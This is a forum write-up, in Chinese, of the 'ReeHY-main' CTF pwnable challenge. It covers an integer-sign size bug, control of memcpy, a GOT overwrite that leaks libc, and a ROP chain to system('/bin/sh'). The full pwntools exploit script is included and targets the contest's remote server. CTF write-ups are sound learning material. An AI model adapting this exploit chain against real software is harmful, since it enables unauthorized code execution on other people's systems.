-
-
[原创]ReeHY-main Pwnable writeup
-
2017-6-8 11:16
6077
-
[原创]ReeHY-main Pwnable writeup
……听说看雪有CTF……还是唯一一题pwn,所以过来看了一眼……典型菜单题,逆向很简单
虽然有show,但是没有任何信息会被打印出来,找不到info leak (姿势水平不够……)
这时候看见create那里有个整形符号的bug,所以直接就去搞那个了……
这个地方假如输入的bytes是0x80000000的话就会过这个检测,但是会malloc一个很大的值,memcpy一个很大的值,stack会被覆盖 (这里有个坑,因为read_int只接受10个数字,所以不能加换行……于是调试用pwntools进行,代码如下)
memcpy下断点稍微调了调 (这里使用了pwndbg,感觉比peda好用一些), 发现可以控制memcpy的所有参数
用pwn cyclic -l 找对应的偏移
由于之后会call fflush,所以用memcpy改掉了fflush的got到puts的plt上,同时改掉了stdout指向任意一个调用过的libc的got (ELF lazy binding 机制)(这里使用的是puts),这样当函数执行到fflush的时候会执行puts(.plt.got['puts']),于是拿到libc的地址偏移
使用libc-database dump出libc的地址 (这里使用本地libc,之后切换到远程的libc)
输出结果
之后ROPGadget找可用的gadget,纯rop起调shell(rop进一个read改写exit的got为system,更改rsi为 /bin/sh 地址 (之前已memcpy到data段上),跳到exit)
enjoy your shell :P
full exploit
from pwn import *
#env = {'LD_PRELOAD':'./ctflibc.so.6'}
env = {}
PUTS = 0x6cee0
SYSTEM = 0x41fd0
elf = ELF('./problem')
PUTS_PLT = elf.plt['puts']
PUTS_GOT = elf.got['puts']
FFLUSH = elf.got['fflush']
STDOUT = elf.symbols['stdout']
READ = elf.symbols['read']
EXIT = elf.got['exit']
POP_RDI = 0x400da3
POP_RSI_R15 = 0x400da1
#r = process('./problem', env=env)
r = remote('211.159.216.90', 51888)
r.recvuntil('$ ')
r.sendline('A')
r.recvuntil('$ ')
r.sendline('1')
r.recvuntil('Input size\n')
r.send(str(0x80000000))
r.recvuntil('Input cun\n')
r.sendline('0')
r.recvuntil('Input content\n')
#gdb.attach(r)
payload = list(cyclic(144))
payload[:8] = p64(PUTS_PLT) # memcpy src
payload[8:16] = '/bin/sh\x00' # /bin/sh str
payload[56:64] = p64(PUTS_GOT) # overwritten stdout
payload[128:136] = p64(FFLUSH) # memcpy dst
payload[136:140] = p32(0)
payload[140:144] = p32(STDOUT - FFLUSH + 8) # memcpy size
r.send("".join(payload) + 'A' * 8 + p64(POP_RDI) + p64(0) + p64(POP_RSI_R15) + p64(EXIT) + p64(0)+ p64(READ) + p64(POP_RDI) + p64(0x602050) + p64(POP_RSI_R15) + p64(0) * 2 + p64(0x400d20))
puts = r.recv().strip()
puts = u64(puts + '\x00\x00')
log.info("puts at %s" % hex(puts))
system = puts - PUTS + SYSTEM
log.info("system at %s" % hex(system))
r.send(p64(system))
r.interactive()
运行结果
活生生把一道heap题做成了stack题……23333……有人有heap的解法的告诉我一声……学习一下……
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界